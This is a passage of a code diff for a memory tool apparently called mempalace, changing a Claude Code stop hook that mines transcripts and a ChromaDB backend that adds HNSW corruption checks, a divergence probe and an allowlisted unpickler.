||||
*/../*) return 1 ;;
|
||||
esac
|
||||
return 0
|
||||
}
|
||||
|
||||
# If we're already in a save cycle, let the AI stop normally
|
||||
# This is the infinite-loop prevention: block once → AI saves → tries to stop again → we let it through
|
||||
if [ "$STOP_HOOK_ACTIVE" = "True" ] || [ "$STOP_HOOK_ACTIVE" = "true" ]; then
|
||||
@@ -95,7 +137,7 @@ fi
|
||||
# Count human messages in the JSONL transcript
|
||||
# SECURITY: Pass transcript path as sys.argv to avoid shell injection via crafted paths
|
||||
if [ -f "$TRANSCRIPT_PATH" ]; then
|
||||
EXCHANGE_COUNT=$(python3 - "$TRANSCRIPT_PATH" <<'PYEOF'
|
||||
EXCHANGE_COUNT=$("$MEMPAL_PYTHON_BIN" - "$TRANSCRIPT_PATH" <<'PYEOF'
|
||||
import json, sys
|
||||
count = 0
|
||||
with open(sys.argv[1]) as f:
|
||||
@@ -140,20 +182,23 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then
|
||||
|
||||
echo "[$(date '+%H:%M:%S')] TRIGGERING SAVE at exchange $EXCHANGE_COUNT" >> "$STATE_DIR/hook.log"
|
||||
|
||||
# Auto-mine the transcript. Two paths:
|
||||
# 1. TRANSCRIPT_PATH (from Claude Code) — mine the directory it lives in
|
||||
# 2. MEMPAL_DIR (user-configured) — mine that directory
|
||||
# At least one should work. If neither is set, nothing mines.
|
||||
PYTHON="$(command -v python3)"
|
||||
MINE_DIR=""
|
||||
if [ -n "$TRANSCRIPT_PATH" ] && [ -f "$TRANSCRIPT_PATH" ]; then
|
||||
MINE_DIR="$(dirname "$TRANSCRIPT_PATH")"
|
||||
# Auto-mine. Two independent targets — both run if both are set:
|
||||
# 1. TRANSCRIPT_PATH (from Claude Code) → parent dir, --mode convos
|
||||
# (Claude Code session JSONL — must use the convo miner)
|
||||
# 2. MEMPAL_DIR (user-configured project) → --mode projects
|
||||
# (code, notes, docs)
|
||||
# MEMPAL_DIR is *additive*, not an override: a user with MEMPAL_DIR
|
||||
# pointed at their project still gets the active conversation mined.
|
||||
if is_valid_transcript_path "$TRANSCRIPT_PATH" && [ -f "$TRANSCRIPT_PATH" ]; then
|
||||
mempalace mine "$(dirname "$TRANSCRIPT_PATH")" --mode convos \
|
||||
>> "$STATE_DIR/hook.log" 2>&1 &
|
||||
elif [ -n "$TRANSCRIPT_PATH" ]; then
|
||||
echo "[$(date '+%H:%M:%S')] Skipping invalid transcript path: $TRANSCRIPT_PATH" \
|
||||
>> "$STATE_DIR/hook.log"
|
||||
fi
|
||||
if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
|
||||
MINE_DIR="$MEMPAL_DIR"
|
||||
fi
|
||||
if [ -n "$MINE_DIR" ]; then
|
||||
"$PYTHON" -m mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
|
||||
mempalace mine "$MEMPAL_DIR" --mode projects \
|
||||
>> "$STATE_DIR/hook.log" 2>&1 &
|
||||
fi
|
||||
|
||||
# MEMPAL_VERBOSE toggle:
|
||||
|
||||
+623
-45
@@ -4,9 +4,11 @@ import datetime as _dt
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
from pathlib import Path
|
||||
from typing import Any, Optional
|
||||
|
||||
import chromadb
|
||||
from chromadb.errors import NotFoundError as _ChromaNotFoundError
|
||||
|
||||
from .base import (
|
||||
BaseBackend,
|
||||
@@ -27,6 +29,31 @@ _REQUIRED_OPERATORS = frozenset({"$eq", "$ne", "$in", "$nin", "$and", "$or", "$c
|
||||
_OPTIONAL_OPERATORS = frozenset({"$gt", "$gte", "$lt", "$lte"})
|
||||
_SUPPORTED_OPERATORS = _REQUIRED_OPERATORS | _OPTIONAL_OPERATORS
|
||||
|
||||
# HNSW tuning to prevent link_lists.bin bloat on large mines (#344).
|
||||
#
|
||||
# With default params (batch_size=100, sync_threshold=1000, initial capacity
|
||||
# 1000), inserting tens of thousands of drawers triggers ~30 index resizes
|
||||
# and hundreds of persistDirty() calls. persistDirty uses relative seek
|
||||
# positioning in link_lists.bin; accumulated seek drift across resize cycles
|
||||
# causes the OS to extend the sparse file with zero-filled regions, each
|
||||
# cycle compounding the next. Result: link_lists.bin grows into hundreds of
|
||||
# GB sparse, after which `status`/`search`/`repair` segfault.
|
||||
#
|
||||
# Setting large batch and sync thresholds at collection creation defers
|
||||
# persistence until a single large batch completes, breaking the resize+
|
||||
# persist feedback loop. Empirically validated on a 39,792-drawer rebuild
|
||||
# (palace 376 MB, link_lists.bin 0 bytes, no segfault) in 2026-04.
|
||||
#
|
||||
# Note: chromadb 1.5.x exposes a `collection.modify(configuration={"hnsw":
|
||||
# {"batch_size": ..., "sync_threshold": ...}})` retrofit path for already-
|
||||
# created collections (`UpdateHNSWConfiguration` in chromadb's API), but
|
||||
# this PR doesn't pursue that — once link_lists.bin has bloated, the index
|
||||
# is already corrupt and the only known recovery is a fresh mine.
|
||||
_HNSW_BLOAT_GUARD = {
|
||||
"hnsw:batch_size": 50_000,
|
||||
"hnsw:sync_threshold": 50_000,
|
||||
}
|
||||
|
||||
|
||||
def _validate_where(where: Optional[dict]) -> None:
|
||||
"""Scan a where-clause for unknown operators and raise ``UnsupportedFilterError``.
|
||||
@@ -49,41 +76,105 @@ def _validate_where(where: Optional[dict]) -> None:
|
||||
stack.extend(x for x in v if isinstance(x, dict))
|
||||
|
||||
|
||||
def quarantine_stale_hnsw(palace_path: str, stale_seconds: float = 3600.0) -> list[str]:
|
||||
"""Rename HNSW segment dirs whose files are stale vs. chroma.sqlite3.
|
||||
def _segment_appears_healthy(seg_dir: str) -> bool:
|
||||
"""Return True if a chromadb HNSW segment dir looks intact.
|
||||
|
||||
When a ChromaDB 1.5.x PersistentClient opens a palace whose on-disk
|
||||
HNSW segment is significantly older than ``chroma.sqlite3``, the Rust
|
||||
graph-walk can dereference dangling neighbor pointers for entries that
|
||||
exist in the metadata segment but not in the HNSW index, and segfault
|
||||
in a background thread on the next ``count()`` or ``query(...)`` call.
|
||||
Sniff-tests the chromadb-written segment metadata file
|
||||
(``index_metadata.pickle``) for its expected format bytes without
|
||||
parsing it. ChromaDB writes that file after a successful HNSW flush;
|
||||
a complete write starts with byte ``0x80`` and ends with byte
|
||||
``0x2e`` (the protocol/terminator byte sequence chromadb serializes
|
||||
with). If both bytes are present and the file is non-trivially sized,
|
||||
chromadb will load the segment cleanly even when its on-disk mtime
|
||||
trails ``chroma.sqlite3`` — which is the *steady state* under
|
||||
chromadb 1.5.x's async batched flush, not corruption.
|
||||
|
||||
This is the same failure mode reported at #823 (semantic search stale
|
||||
A missing metadata file is treated as "fresh / never-flushed" and
|
||||
considered healthy. Renaming an empty dir orphans nothing, and a
|
||||
real corruption case manifests as a present-but-malformed file or a
|
||||
chromadb load error caught downstream by palace-daemon's
|
||||
``_auto_repair`` retry path.
|
||||
|
||||
Deliberately format-sniffs only; never deserializes. Deserialization
|
||||
can execute arbitrary code, and the byte-sniff is sufficient to
|
||||
distinguish a complete write from truncation, zero-fill, or
|
||||
partial-flush corruption.
|
||||
|
||||
Assumes pickle protocol >= 2 (``0x80`` PROTO marker). Matches what
|
||||
chromadb writes today; if a future chromadb version emits protocol
|
||||
0/1 segments, this check would start returning False on healthy
|
||||
files and quarantine_stale_hnsw would conservatively rename them
|
||||
out of the way (lazy rebuild on next open recovers).
|
||||
"""
|
||||
meta_path = os.path.join(seg_dir, "index_metadata.pickle")
|
||||
if not os.path.isfile(meta_path):
|
||||
# No metadata file yet — segment hasn't flushed (fresh / empty).
|
||||
# Renaming would orphan nothing; consider healthy.
|
||||
return True
|
||||
try:
|
||||
size = os.path.getsize(meta_path)
|
||||
# A real chromadb metadata file is at least tens of bytes; a
|
||||
# smaller-than-floor file is almost certainly truncated.
|
||||
if size < 16:
|
||||
return False
|
||||
with open(meta_path, "rb") as f:
|
||||
head = f.read(2)
|
||||
f.seek(-1, 2) # last byte
|
||||
tail = f.read(1)
|
||||
except OSError:
|
||||
return False
|
||||
return len(head) == 2 and head[0] == 0x80 and tail == b"\x2e"
|
||||
|
||||
|
||||
def quarantine_stale_hnsw(palace_path: str, stale_seconds: float = 300.0) -> list[str]:
|
||||
"""Rename HNSW segment dirs that are both stale-by-mtime AND fail an
|
||||
integrity sniff-test.
|
||||
|
||||
Catches the segfault failure mode from #823 (semantic search stale
|
||||
after ``add_drawer``), observed at neo-cortex-mcp#2 (SIGSEGV on
|
||||
``count()`` with chromadb 1.5.5), and acknowledged as by-design at
|
||||
chroma-core/chroma#2594. On one fork palace (135K drawers), the drift
|
||||
caused a 65–85% crash rate on fresh-process opens; fresh-process
|
||||
crash rate dropped to 0% after the segment dir was renamed out of the
|
||||
way and ChromaDB rebuilt lazily.
|
||||
chroma-core/chroma#2594. Renaming a corrupt segment lets chromadb
|
||||
rebuild lazily on next open instead of segfaulting.
|
||||
|
||||
Heuristic: if ``chroma.sqlite3`` is more than ``stale_seconds`` newer
|
||||
than the segment's ``data_level0.bin``, the segment is considered
|
||||
suspect and renamed to ``<uuid>.drift-<timestamp>``. ChromaDB reopens
|
||||
cleanly without it and writes fresh index files on next use. The
|
||||
original directory is renamed, not deleted, so recovery remains
|
||||
possible if the heuristic misfires.
|
||||
Two-stage check:
|
||||
|
||||
The default threshold (1h) is deliberately conservative — ChromaDB's
|
||||
HNSW flush cadence means legitimate drift is normally on the order of
|
||||
seconds to minutes. A segment that is more than an hour out of date is
|
||||
almost certainly in a "crashed mid-write" state.
|
||||
1. **mtime gate.** If ``chroma.sqlite3`` is less than
|
||||
``stale_seconds`` newer than the segment's ``data_level0.bin``,
|
||||
skip — chromadb is in normal write-path territory.
|
||||
|
||||
2. **Integrity gate** (``_segment_appears_healthy``). Even when the
|
||||
mtime gap exceeds the threshold, a segment whose
|
||||
``index_metadata.pickle`` passes a format sniff-test is healthy:
|
||||
chromadb 1.5.x flushes HNSW state asynchronously and a clean
|
||||
shutdown does NOT force-flush, so the on-disk HNSW is *always*
|
||||
somewhat older than ``chroma.sqlite3``. Production observation
|
||||
(2026-04-26 disks daemon): three of three segments quarantined
|
||||
on every cold start, with 538-557s gaps, leaving the 151K-drawer
|
||||
palace with vector_ranked=0 until rebuild. Renaming a healthy
|
||||
segment based on mtime alone destroys a valid index — chromadb
|
||||
creates an empty replacement, orphaning every drawer in sqlite
|
||||
from vector recall until the operator runs ``mempalace repair
|
||||
--mode rebuild`` (15+ min on a 151K palace).
|
||||
|
||||
Only segments that pass stage 1 (suspiciously stale) AND fail stage
|
||||
2 (metadata file truncated, zero-filled, or absent-with-data) are
|
||||
renamed to ``<uuid>.drift-<timestamp>``. The original directory is
|
||||
renamed, not deleted, so recovery remains possible if the heuristic
|
||||
misfires.
|
||||
|
||||
The default threshold (5 min) is advisory under daemon-strict; the
|
||||
integrity gate is what actually distinguishes corruption from flush
|
||||
lag. The threshold still matters for the cross-machine replication
|
||||
case (#823), where it bounds how stale a Syncthing-replicated
|
||||
segment can be before we look harder at it.
|
||||
|
||||
Args:
|
||||
palace_path: path to the palace directory containing ``chroma.sqlite3``
|
||||
stale_seconds: minimum mtime gap to treat a segment as stale
|
||||
stale_seconds: minimum mtime gap to *consider* a segment for quarantine
|
||||
|
||||
Returns:
|
||||
List of paths that were quarantined (empty if nothing drifted).
|
||||
List of paths that were quarantined (empty if nothing actually
|
||||
looked corrupt).
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
@@ -114,23 +205,392 @@ def quarantine_stale_hnsw(palace_path: str, stale_seconds: float = 3600.0) -> li
|
||||
continue
|
||||
if sqlite_mtime - hnsw_mtime < stale_seconds:
|
||||
continue
|
||||
|
||||
# Stage 2: integrity gate. mtime drift is necessary but not
|
||||
# sufficient — chromadb's async flush makes drift the steady-
|
||||
# state condition. A healthy segment metadata file proves
|
||||
# chromadb can open the segment without segfault; don't
|
||||
# quarantine a healthy index.
|
||||
if _segment_appears_healthy(seg_dir):
|
||||
logger.info(
|
||||
"HNSW mtime gap %.0fs on %s exceeds threshold but segment "
|
||||
"metadata file is intact — flush-lag, not corruption. "
|
||||
"Leaving in place.",
|
||||
sqlite_mtime - hnsw_mtime,
|
||||
seg_dir,
|
||||
)
|
||||
continue
|
||||
|
||||
stamp = _dt.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
target = f"{seg_dir}.drift-{stamp}"
|
||||
try:
|
||||
os.rename(seg_dir, target)
|
||||
moved.append(target)
|
||||
logger.warning(
|
||||
"Quarantined stale HNSW segment %s "
|
||||
"(sqlite %.0fs newer than HNSW); renamed to %s",
|
||||
"Quarantined corrupt HNSW segment %s (sqlite %.0fs newer than HNSW, integrity check failed); renamed to %s",
|
||||
seg_dir,
|
||||
sqlite_mtime - hnsw_mtime,
|
||||
target,
|
||||
)
|
||||
except OSError:
|
||||
logger.exception("Failed to quarantine stale HNSW segment %s", seg_dir)
|
||||
logger.exception("Failed to quarantine corrupt HNSW segment %s", seg_dir)
|
||||
return moved
|
||||
|
||||
|
||||
def _vector_segment_id(palace_path: str, collection_name: str) -> Optional[str]:
|
||||
"""Return the VECTOR segment UUID for ``collection_name`` or ``None``.
|
||||
|
||||
Reads ``chroma.sqlite3`` directly so we never have to load a segment
|
||||
that may segfault on open (#1222 is exactly this case).
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return None
|
||||
try:
|
||||
conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
try:
|
||||
row = conn.execute(
|
||||
"""
|
||||
SELECT s.id
|
||||
FROM segments s
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = ? AND s.scope = 'VECTOR'
|
||||
LIMIT 1
|
||||
""",
|
||||
(collection_name,),
|
||||
).fetchone()
|
||||
return row[0] if row else None
|
||||
finally:
|
||||
conn.close()
|
||||
except sqlite3.Error:
|
||||
return None
|
||||
|
||||
|
||||
class _PersistentDataStub:
|
||||
"""Minimal stand-in for chromadb's ``PersistentData`` during safe unpickling.
|
||||
|
||||
Accepts any constructor args so pickle's REDUCE opcode succeeds,
|
||||
captures ``__setstate__`` into ``__dict__``. Only used by
|
||||
:func:`_hnsw_element_count` — never persisted, never re-pickled.
|
||||
"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
# Some chromadb versions pickle PersistentData by passing init args
|
||||
# positionally via REDUCE. We don't care about reconstructing the
|
||||
# object faithfully — we only need the id_to_label dict — so swallow
|
||||
# all positional args and re-expose the relevant attributes via
|
||||
# __setstate__ or __dict__ population further down.
|
||||
pass
|
||||
|
||||
def __setstate__(self, state):
|
||||
if isinstance(state, dict):
|
||||
self.__dict__.update(state)
|
||||
elif isinstance(state, tuple) and len(state) == 2 and isinstance(state[1], dict):
|
||||
# (slot_state, dict_state) two-tuple form — only the dict part has
|
||||
# the named attributes we care about.
|
||||
self.__dict__.update(state[1])
|
||||
|
||||
|
||||
class _SafePersistentDataUnpickler:
|
||||
"""Whitelist-only unpickler for ``index_metadata.pickle``.
|
||||
|
||||
Allows only ``PersistentData`` from chromadb's HNSW module; everything
|
||||
else raises ``UnpicklingError``. Standard container types (dict, list,
|
||||
tuple, str, int, float) are handled by the pickle machinery itself
|
||||
and don't need allowlisting via ``find_class`` — only constructed
|
||||
classes do.
|
||||
|
||||
This is the same trust model chromadb uses (it pickles its own files),
|
||||
but with a tight class allowlist so a tampered file can't instantiate
|
||||
arbitrary classes during deserialization.
|
||||
"""
|
||||
|
||||
_ALLOWED = frozenset(
|
||||
{
|
||||
(
|
||||
"chromadb.segment.impl.vector.local_persistent_hnsw",
|
||||
"PersistentData",
|
||||
),
|
||||
}
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def load(cls, path: str):
|
||||
import pickle
|
||||
|
||||
class _Restricted(pickle.Unpickler):
|
||||
def find_class(self, module: str, name: str):
|
||||
if (module, name) in cls._ALLOWED:
|
||||
return _PersistentDataStub
|
||||
raise pickle.UnpicklingError(f"disallowed class: {module}.{name}")
|
||||
|
||||
with open(path, "rb") as f:
|
||||
return _Restricted(f).load()
|
||||
|
||||
|
||||
def _hnsw_element_count(palace_path: str, segment_id: str) -> Optional[int]:
|
||||
"""Return the element count chromadb thinks the HNSW segment holds.
|
||||
|
||||
Reads ``index_metadata.pickle`` via a tight-allowlist unpickler and
|
||||
counts ``id_to_label`` entries. This is the count chromadb consults
|
||||
when sizing/loading the HNSW index on next open — distinct from
|
||||
hnswlib's internal ``cur_element_count`` in the binary files. For
|
||||
#1222's divergence check this is the number that matters, because it
|
||||
is what gets compared against ``count() * resize_factor`` when
|
||||
chromadb decides whether to resize HNSW on load.
|
||||
|
||||
Uses :class:`_SafePersistentDataUnpickler` rather than chromadb's own
|
||||
``PersistentData.load_from_file`` so the probe works even when
|
||||
``hnswlib`` is not installed (chromadb's persistent_hnsw module
|
||||
imports hnswlib at module load — a probe that requires hnswlib would
|
||||
refuse to run in environments where the segfault risk is moot
|
||||
anyway). The allowlisted unpickler is also the safer default: the
|
||||
pickle file is owned by the same user, but a tighter trust boundary
|
||||
costs us nothing.
|
||||
|
||||
Returns ``None`` when the file is absent (fresh / never-flushed
|
||||
segment) or the unpickle fails. Callers treat ``None`` as "unknown".
|
||||
"""
|
||||
pickle_path = os.path.join(palace_path, segment_id, "index_metadata.pickle")
|
||||
if not os.path.isfile(pickle_path):
|
||||
return None
|
||||
try:
|
||||
pd = _SafePersistentDataUnpickler.load(pickle_path)
|
||||
# ChromaDB serializes PersistentData differently across versions:
|
||||
# 1.5.x writes a plain dict via ``__reduce_ex__``; older versions
|
||||
# pickled the class instance and rely on ``__setstate__`` to
|
||||
# populate ``__dict__``. Handle both shapes.
|
||||
if isinstance(pd, dict):
|
||||
id_to_label = pd.get("id_to_label")
|
||||
else:
|
||||
id_to_label = getattr(pd, "id_to_label", None)
|
||||
if isinstance(id_to_label, dict):
|
||||
return len(id_to_label)
|
||||
return None
|
||||
except Exception:
|
||||
logger.debug("_hnsw_element_count failed for %s", pickle_path, exc_info=True)
|
||||
return None
|
||||
|
||||
|
||||
# Divergence threshold: chromadb's HNSW flushes asynchronously, so HNSW
|
||||
# typically lags sqlite by up to ``sync_threshold`` records under active
|
||||
# write load — that's the *brute-force batch* that hasn't been compacted
|
||||
# into HNSW yet, plus the un-persisted tail beyond the last sync. Two
|
||||
# synchronization windows worth (2 × sync_threshold) is a safe steady-
|
||||
# state ceiling; anything past that is real divergence, not flush-lag.
|
||||
#
|
||||
# The threshold floor scales with whatever ``hnsw:sync_threshold`` the
|
||||
# collection was created with (read via :func:`_read_sync_threshold`).
|
||||
# ``_HNSW_DIVERGENCE_FALLBACK_FLOOR`` is the floor used when we can't
|
||||
# read the collection metadata (older palaces missing the row, sqlite
|
||||
# unreadable). 2000 = 2 × chromadb's default sync_threshold of 1000.
|
||||
#
|
||||
# Why dynamic: PR #1191 set ``hnsw:sync_threshold = 50_000`` to prevent
|
||||
# index bloat, which means flush-lag can grow up to 50K naturally. A
|
||||
# fixed 2000 floor would flag every actively-written palace as DIVERGED
|
||||
# the moment its queue exceeded 10% of sqlite_count, even though chromadb
|
||||
# is behaving correctly. The floor must scale with sync_threshold to
|
||||
# distinguish real corruption (#1222 was 176 613 missing of 192 997 —
|
||||
# orders of magnitude past 2 × any reasonable sync_threshold) from
|
||||
# expected steady-state lag.
|
||||
_HNSW_DIVERGENCE_FALLBACK_FLOOR = 2000
|
||||
_HNSW_DIVERGENCE_FRACTION = 0.10
|
||||
|
||||
|
||||
def _read_sync_threshold(palace_path: str, collection_name: str) -> int:
|
||||
"""Return the ``hnsw:sync_threshold`` for a collection, or 1000 default.
|
||||
|
||||
The configured sync_threshold drives chromadb's HNSW flush cadence —
|
||||
larger values mean fewer, bigger flushes (less index-bloat risk per
|
||||
PR #1191) but also larger steady-state lag between
|
||||
``index_metadata.pickle`` and the live sqlite count. The divergence
|
||||
probe scales its tolerance to ``2 × sync_threshold`` so that lag is
|
||||
not mistaken for corruption.
|
||||
|
||||
Falls back to 1000 (chromadb's own default) if the collection has no
|
||||
explicit setting — matches what older mempalace palaces were created
|
||||
with before PR #1191.
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return 1000
|
||||
try:
|
||||
conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
try:
|
||||
cur = conn.cursor()
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT cm.int_value
|
||||
FROM collection_metadata cm
|
||||
JOIN collections c ON cm.collection_id = c.id
|
||||
WHERE c.name = ? AND cm.key = 'hnsw:sync_threshold'
|
||||
""",
|
||||
(collection_name,),
|
||||
)
|
||||
row = cur.fetchone()
|
||||
if row and row[0] is not None:
|
||||
return int(row[0])
|
||||
return 1000
|
||||
finally:
|
||||
conn.close()
|
||||
except Exception:
|
||||
logger.debug("_read_sync_threshold failed", exc_info=True)
|
||||
return 1000
|
||||
|
||||
|
||||
def hnsw_capacity_status(palace_path: str, collection_name: str = "mempalace_drawers") -> dict:
|
||||
"""Compare sqlite embedding count against HNSW element count.
|
||||
|
||||
The #1222 failure mode: ``max_elements`` froze at 16 384 while sqlite
|
||||
accumulated 192 997 embeddings. Every subsequent tool call segfaulted
|
||||
when chromadb tried to load the undersized HNSW. This probe runs
|
||||
*before* anything touches the segment so we can warn (or fall back to
|
||||
BM25) instead of crashing.
|
||||
|
||||
Returns a dict with:
|
||||
|
||||
* ``segment_id`` — VECTOR segment UUID, or ``None`` if no palace
|
||||
* ``sqlite_count`` — embeddings present in chroma.sqlite3
|
||||
* ``hnsw_count`` — elements chromadb's pickle knows about
|
||||
* ``divergence`` — ``sqlite_count - hnsw_count`` when both known
|
||||
* ``diverged`` — True when divergence exceeds the threshold
|
||||
* ``status`` — ``"ok"`` | ``"diverged"`` | ``"unknown"``
|
||||
* ``message`` — human-readable summary
|
||||
|
||||
Never raises — a probe that throws would defeat the point.
|
||||
"""
|
||||
out: dict[str, Any] = {
|
||||
"segment_id": None,
|
||||
"sqlite_count": None,
|
||||
"hnsw_count": None,
|
||||
"divergence": None,
|
||||
"diverged": False,
|
||||
"status": "unknown",
|
||||
"message": "",
|
||||
}
|
||||
|
||||
try:
|
||||
seg_id = _vector_segment_id(palace_path, collection_name)
|
||||
out["segment_id"] = seg_id
|
||||
|
||||
sqlite_count = _sqlite_embedding_count(palace_path, collection_name)
|
||||
out["sqlite_count"] = sqlite_count
|
||||
|
||||
if seg_id is None or sqlite_count is None:
|
||||
out["message"] = "palace state unreadable; skipping HNSW capacity check"
|
||||
return out
|
||||
|
||||
hnsw_count = _hnsw_element_count(palace_path, seg_id)
|
||||
out["hnsw_count"] = hnsw_count
|
||||
|
||||
sync_threshold = _read_sync_threshold(palace_path, collection_name)
|
||||
# Two synchronization windows worth — see comment above
|
||||
# _HNSW_DIVERGENCE_FALLBACK_FLOOR for the rationale.
|
||||
divergence_floor = max(_HNSW_DIVERGENCE_FALLBACK_FLOOR, 2 * sync_threshold)
|
||||
|
||||
if hnsw_count is None:
|
||||
# No pickle yet — segment hasn't persisted metadata. Could be
|
||||
# fresh-but-unflushed (normal) or interrupted-mid-flush (bad).
|
||||
# We can't distinguish without the pickle, so only flag
|
||||
# divergence when sqlite holds clearly more than two flush
|
||||
# windows worth — same threshold as the with-pickle path.
|
||||
if sqlite_count > divergence_floor:
|
||||
out["status"] = "diverged"
|
||||
out["diverged"] = True
|
||||
out["divergence"] = sqlite_count
|
||||
out["message"] = (
|
||||
f"sqlite holds {sqlite_count:,} embeddings but the HNSW segment "
|
||||
"has never flushed metadata — vector search will return nothing "
|
||||
"until the segment is rebuilt. Run `mempalace repair`."
|
||||
)
|
||||
else:
|
||||
out["message"] = "HNSW segment metadata not yet flushed; skipping"
|
||||
return out
|
||||
|
||||
divergence = sqlite_count - hnsw_count
|
||||
out["divergence"] = divergence
|
||||
threshold = max(divergence_floor, int(sqlite_count * _HNSW_DIVERGENCE_FRACTION))
|
||||
if divergence > threshold:
|
||||
out["status"] = "diverged"
|
||||
out["diverged"] = True
|
||||
pct = 100.0 * divergence / max(sqlite_count, 1)
|
||||
out["message"] = (
|
||||
f"HNSW index holds {hnsw_count:,} elements but sqlite has "
|
||||
f"{sqlite_count:,} embeddings — {divergence:,} drawers ({pct:.0f}%) "
|
||||
"are invisible to vector search. Run `mempalace repair` to rebuild."
|
||||
)
|
||||
else:
|
||||
out["status"] = "ok"
|
||||
out["message"] = (
|
||||
f"HNSW {hnsw_count:,} / sqlite {sqlite_count:,} (within flush-lag tolerance)"
|
||||
)
|
||||
except Exception:
|
||||
logger.debug("hnsw_capacity_status failed", exc_info=True)
|
||||
out["message"] = "HNSW capacity probe raised; skipping"
|
||||
return out
|
||||
|
||||
|
||||
def _sqlite_embedding_count(palace_path: str, collection_name: str) -> Optional[int]:
|
||||
"""Count rows in chroma.sqlite3.embeddings for ``collection_name``.
|
||||
|
||||
Mirrors :func:`mempalace.repair.sqlite_drawer_count` but kept in this
|
||||
module so the backend probe doesn't pull in the repair CLI module.
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return None
|
||||
try:
|
||||
conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
try:
|
||||
row = conn.execute(
|
||||
"""
|
||||
SELECT COUNT(*)
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = ?
|
||||
""",
|
||||
(collection_name,),
|
||||
).fetchone()
|
||||
return int(row[0]) if row and row[0] is not None else None
|
||||
finally:
|
||||
conn.close()
|
||||
except sqlite3.Error:
|
||||
return None
|
||||
|
||||
|
||||
def _pin_hnsw_threads(collection) -> None:
|
||||
"""Best-effort retrofit: pin ``hnsw:num_threads=1`` on an existing collection.
|
||||
|
||||
Fresh collections set this via ``metadata=`` at creation. Legacy palaces
|
||||
built before that change keep the default (parallel insert) and can hit
|
||||
the HNSW race described in #974/#965. ChromaDB's
|
||||
``collection.modify(configuration=...)`` lets us re-apply ``num_threads=1``
|
||||
in memory at load time so every new process is protected.
|
||||
|
||||
Note: in chromadb 1.5.x the modified ``configuration_json["hnsw"]`` does
|
||||
not persist to disk across ``PersistentClient`` reopens, so this must
|
||||
run on every ``get_collection`` call, not just once.
|
||||
"""
|
||||
try:
|
||||
from chromadb.api.collection_configuration import (
|
||||
UpdateCollectionConfiguration,
|
||||
UpdateHNSWConfiguration,
|
||||
)
|
||||
except ImportError:
|
||||
logger.debug("_pin_hnsw_threads skipped: chromadb too old", exc_info=True)
|
||||
return
|
||||
try:
|
||||
collection.modify(
|
||||
configuration=UpdateCollectionConfiguration(hnsw=UpdateHNSWConfiguration(num_threads=1))
|
||||
)
|
||||
except Exception:
|
||||
logger.debug("_pin_hnsw_threads modify failed", exc_info=True)
|
||||
|
||||
|
||||
_BLOB_FIX_MARKER = ".blob_seq_ids_migrated"
|
||||
|
||||
|
||||
def _fix_blob_seq_ids(palace_path: str) -> None:
|
||||
"""Fix ChromaDB 0.6.x -> 1.5.x migration bug: BLOB seq_ids -> INTEGER.
|
||||
|
||||
@@ -139,28 +599,67 @@ def _fix_blob_seq_ids(palace_path: str) -> None:
|
||||
the Rust compactor to crash with "mismatched types; Rust type u64 (as SQL
|
||||
type INTEGER) is not compatible with SQL type BLOB".
|
||||
|
||||
Scoped to the ``embeddings`` table only. The ``max_seq_id`` table used
|
||||
to be included in this loop, but chromadb 1.5.x writes its own BLOB
|
||||
format there (``b'\\x11\\x11'`` + 6 ASCII digits). Misinterpreting that
|
||||
format via ``int.from_bytes(..., 'big')`` yields a ~1.23e18 integer
|
||||
that silently suppresses every subsequent write for the affected
|
||||
segment (``embeddings_queue`` filters on ``seq_id > start``). chromadb
|
||||
owns the ``max_seq_id`` column — we leave it alone. Palaces already
|
||||
poisoned by the old behaviour can be repaired via
|
||||
``mempalace repair --mode max-seq-id``.
|
||||
|
||||
Defense-in-depth: rows with the sysdb-10 ``b'\\x11\\x11'`` prefix in
|
||||
``embeddings`` are skipped rather than converted. Real 0.6.x BLOBs are
|
||||
pure big-endian u64 with no text prefix, so the prefix check is a
|
||||
no-op for genuine legacy data.
|
||||
|
||||
Must run BEFORE PersistentClient is created (the compactor fires on init).
|
||||
|
||||
Opening a Python sqlite3 connection against a ChromaDB 1.5.x WAL-mode
|
||||
database leaves state that segfaults the next PersistentClient call. After
|
||||
the migration has run once successfully, a marker file is written so
|
||||
subsequent opens skip the sqlite connection entirely. Already-migrated
|
||||
palaces can touch the marker manually to opt into the fast path.
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return
|
||||
marker = os.path.join(palace_path, _BLOB_FIX_MARKER)
|
||||
if os.path.isfile(marker):
|
||||
return
|
||||
try:
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
for table in ("embeddings", "max_seq_id"):
|
||||
try:
|
||||
rows = conn.execute(
|
||||
f"SELECT rowid, seq_id FROM {table} WHERE typeof(seq_id) = 'blob'"
|
||||
).fetchall()
|
||||
except sqlite3.OperationalError:
|
||||
continue
|
||||
if not rows:
|
||||
continue
|
||||
updates = [(int.from_bytes(blob, byteorder="big"), rowid) for rowid, blob in rows]
|
||||
conn.executemany(f"UPDATE {table} SET seq_id = ? WHERE rowid = ?", updates)
|
||||
logger.info("Fixed %d BLOB seq_ids in %s", len(updates), table)
|
||||
conn.commit()
|
||||
try:
|
||||
rows = conn.execute(
